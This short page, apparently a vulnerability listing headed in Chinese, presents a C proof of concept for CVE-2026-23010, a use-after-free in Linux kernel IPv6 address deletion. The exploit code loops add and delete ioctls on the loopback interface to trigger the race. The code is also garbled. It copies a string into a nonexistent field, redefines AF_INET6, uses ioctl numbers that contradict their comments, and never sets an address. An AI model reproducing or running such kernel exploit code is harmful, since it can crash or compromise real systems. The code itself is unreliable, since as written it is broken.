CVE-2026-23010 Linux内核IPv6地址管理use-after-free漏洞

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <net/if.h> #include <sys/ioctl.h> #include <unistd.h> // Structure for IPv6 address manipulation struct in6_ifreq { struct in6_addr ifr6_addr; unsigned int ifr6_prefixlen; int ifr6_ifindex; }; #define AF_INET6 10 #define SIOCSIFADDR_IN6 0x8915 // Set IPv6 address #define SIOCDIFADDR_IN6 0x8917 // Delete IPv6 address int main() { int sockfd; struct in6_ifreq ifr; // Create IPv6 socket sockfd = socket(AF_INET6, SOCK_DGRAM, 0); if (sockfd < 0) { perror("socket creation failed"); return -1; } // Configure target interface strncpy(ifr.ifr6_addr.sin6_family, "lo", sizeof(ifr.ifr6_addr) - 1); ifr.ifr6_ifindex = if_nametoindex("lo"); if (ifr.ifr6_ifindex == 0) { ifr.ifr6_ifindex = 1; // Default to loopback } ifr.ifr6_prefixlen = 64; // Trigger the UAF by rapidly adding and deleting IPv6 addresses // This PoC demonstrates the race condition in inet6_addr_del() for (int i = 0; i < 1000; i++) { // Add temporary IPv6 address if (ioctl(sockfd, SIOCSIFADDR_IN6, &ifr) < 0) { // Expected to fail on unprivileged context } // Delete IPv6 address - triggers inet6_addr_del() if (ioctl(sockfd, SIOCDIFADDR_IN6, &ifr) < 0) { // Expected to fail on unprivileged context } } close(sockfd); printf("PoC executed. Check dmesg for KASAN report.\n"); return 0; }